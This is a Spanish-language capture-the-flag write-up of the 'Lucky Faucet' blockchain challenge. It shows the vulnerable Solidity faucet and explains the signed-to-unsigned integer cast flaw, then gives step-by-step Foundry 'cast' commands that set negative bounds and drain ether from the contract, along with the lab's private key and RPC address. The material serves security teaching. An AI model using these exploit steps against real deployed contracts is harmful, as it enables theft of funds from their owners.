# Writeup de “Lucky Faucet” | Blockchain

“The Fray anunció la colocación de un faucet a lo largo del camino para los aventureros que puedan superar los desafíos iniciales. Está diseñado para proporcionar suficientes recursos para todos los jugadores, con la esperanza de que nadie lo monopolice y no deje nada para los demás.”

## **Tools necesarias:**

* **Foundry**: un toolkit para desarrollo de aplicaciones en Ethereum, escrito en Rust. Es rápido, portátil y modular.
    

```bash
curl -L https://foundry.paradigm.xyz | bash
```

## **Objetivo:**

La instancia remota deployea un contrato llamado `LuckyFaucet` con 500 ether. El objetivo es lograr que el balance del contrato baje al menos 10 ether, es decir, que quede con menos de 490 ether para que la función `isSolved()` devuelva `true`.

> ### **<mark>LuckyFaucet.sol</mark>**

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;

contract LuckyFaucet {
    int64 public upperBound;
    int64 public lowerBound;

    constructor() payable {
        // start with 50M-100M wei Range until player changes it
        upperBound = 100_000_000;
        lowerBound =  50_000_000;
    }

    function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
        require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
        require(_newLowerBound <=  50_000_000,  "50M wei is the max lowerBound sry");
        require(_newLowerBound <= _newUpperBound);
        // why? because if you don't need this much, pls lower the upper bound :)
        // we don't have infinite money glitch.
        upperBound = _newUpperBound;
        lowerBound = _newLowerBound;
    }

    function sendRandomETH() public returns (bool, uint64) {
        int256 randomInt = int256(blockhash(block.number - 1)); // "but it's not actually random 🤓"
        // we can safely cast to uint64 since we'll never 
        // have to worry about sending more than 2**64 - 1 wei 
        uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound); 
        bool sent = msg.sender.send(amountToSend);
        return (sent, amountToSend);
    }
}
```

> ### **<mark>Setup.sol</mark>**

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.6;

import {LuckyFaucet} from "./LuckyFaucet.sol";

contract Setup {
    LuckyFaucet public immutable TARGET;

    uint256 constant INITIAL_BALANCE = 500 ether;

    constructor() payable {
        TARGET = new LuckyFaucet{value: INITIAL_BALANCE}();
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance <= INITIAL_BALANCE - 10 ether;
    }
}
```

La función `sendRandomETH()` te envía una cantidad aleatoria de ETH (en wei), entre los valores `lowerBound` y `upperBound`. Por defecto, esos valores están en:

* `lowerBound = 50_000_000` *wei*
    
* `upperBound = 100_000_000` *wei*
    

Eso significa que cada vez que llamo a la función, el contrato me puede mandar entre 50 millones y 100 millones de wei.

Ahora, para que tengan una idea, **1 ether son 1e18 wei** (o sea, un 1 con 18 ceros). Los wei son como los “centavos” del ether, el equivalente a los **satoshis en Bitcoin**, básicamente la unidad mínima.

Entonces, esos 100 millones de wei que te puede mandar el contrato en el mejor de los casos serían:

```solidity
100_000_000 wei = 0.0000001 ether
```

Sí, una miseria.

El objetivo del challenge es lograr que el contrato termine con menos de **490 ether**, o sea, **robarle al menos 10 ether**. Si uno se pusiera a llamar a la función `sendRandomETH()` normalmente, eso implicaría hacer **millones de llamadas**. No es viable.

## **Analizando la función setBounds:**

Analizando esta función del contrato que se llama `setBounds()`, vemos que se pueden configurar los límites inferior y superior de un rango para enviar ETH aleatoriamente.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754020463009/52cc5091-ebec-491a-845f-66f05e1ec67d.png align="center")

Esos límites están definidos como `int64`, o sea, números **con signo**.

Esto significa que nosotros **podemos** poner números negativos sin problema. Y acá viene la parte divertida: **el número que se elige entre esos límites después se convierte a** `uint64`, que es un número **sin signo**. ¿Y qué pasa si un número negativo se convierte a sin signo?

Bueno pues.. **se transforma en un número gigante**.

## **¿Cómo un número negativo termina siendo un número gigante?**

Veamos este ejemplo:

* `int64` → entero **con signo** (puede ser negativo)
    
* `uint64` → entero **sin signo** (solo valores positivos)
    

Cuando usamos `int64`, las computadoras no guardan el signo con un **“-“**. En vez de eso, usan una técnica llamada **two’s complement** para representar los negativos en binario.

## **EJEMPLO:**

El número `-50000000` en `int64` no se guarda como un valor negativo textual, sino que internamente, en binario, se ve así (en hex):

```bash
0xfffffffffcfdf880
```

Este valor, al ser interpretado como `uint64`, ya no es negativo, sino que se convierte en un número gigante:

```bash
18446744073659551872
```

Veamos el ejemplo en python:

```bash
python3 -c "print(f'uint64: {(-50000000) % (2**64)}')"
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754020519494/c182f436-78ba-40d3-8b45-c0a223571fef.png align="left")

*Esto daría:* ***18.44.. ether***\*, lo que sería suficiente para completar el reto.\*

## **INFO**

```plaintext
Private key : 0x103ef491f1e817af898e818c40700c58e4fc3ce64e90d3efeba264f0b44da000
Address     : 0x27729afd1b86231DA3fdD2b24Bb8B6fC8ea8B4EE
Target contract : 0xdAfF5721Cc4B5192369702d672b05924a92231F7
Setup contract  : 0x671B1B6bBd5A319778db7420267058bd5fab6EE1
```

Con estos datos ya podemos empezar a interactuar con el objetivo. Primero seteo las variables de entorno así es más cómodo para trabajar:

```bash
export PRIV_KEY=0x103ef491f1e817af898e818c40700c58e4fc3ce64e90d3efeba264f0b44da000
export ADDR=0x27729afd1b86231DA3fdD2b24Bb8B6fC8ea8B4EE
export TARGET=0xdAfF5721Cc4B5192369702d672b05924a92231F7
export SETUP=0x671B1B6bBd5A319778db7420267058bd5fab6EE1
export ETH_RPC_URL=http://83.136.248.49:42327
```

Notese que definimos la variable *ETH\_RPC\_URL* para que *CAST* la detecte automáticamente, sino como alternativa podemos usar:

```bash
--rpc-url http://83.136.248.49:42327
```

## **Explotación**

Voy a usar un enfoque más directo y garantizado. Voy a establecer un rango **completamente negativo**, lo que garantiza que el valor aleatorio siempre será negativo:

```bash
cast send --private-key $PRIV_KEY $TARGET 'setBounds(int64,int64)' -- '-50000000' '-1'
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754020693824/3424b204-c992-40b5-bd07-0a15d831cc06.png align="center")

Nota: Con este rango totalmente negativo, tenemos 100% de garantía de que cualquier valor seleccionado será negativo. Debería funcionar al primer intento.

Ahora llamamos a `sendRandomETH()`, que tomará un número “aleatorio” dentro del rango negativo y lo convertirá a `uint64`, provocando que un valor negativo se transforme en un número grande como comentamos antes, resultando en el envío de más de 18 ether en una sola ejecución:

```bash
cast send $TARGET 'sendRandomETH()' --private-key $PRIV_KEY
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754020731146/30d3cc35-c74b-4117-bec0-937e5ab6f7bb.png align="center")

Finalmente verificamos el balance:

```bash
cast balance --ether $TARGET
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754020745125/d7816c44-a586-48ea-8046-76dd19c0d145.png align="center")

Si chequeo ahora la función *isSolved()*:

```bash
cast call $SETUP 'isSolved() (bool)'
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754020755102/aad794a3-74ab-4e0d-a33c-b40bbca4d077.png align="center")

Entonces obtenemos la flag y completamos el challenge:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754020772083/fadf74c8-35cf-42b2-8926-5c769ab89646.png align="center")
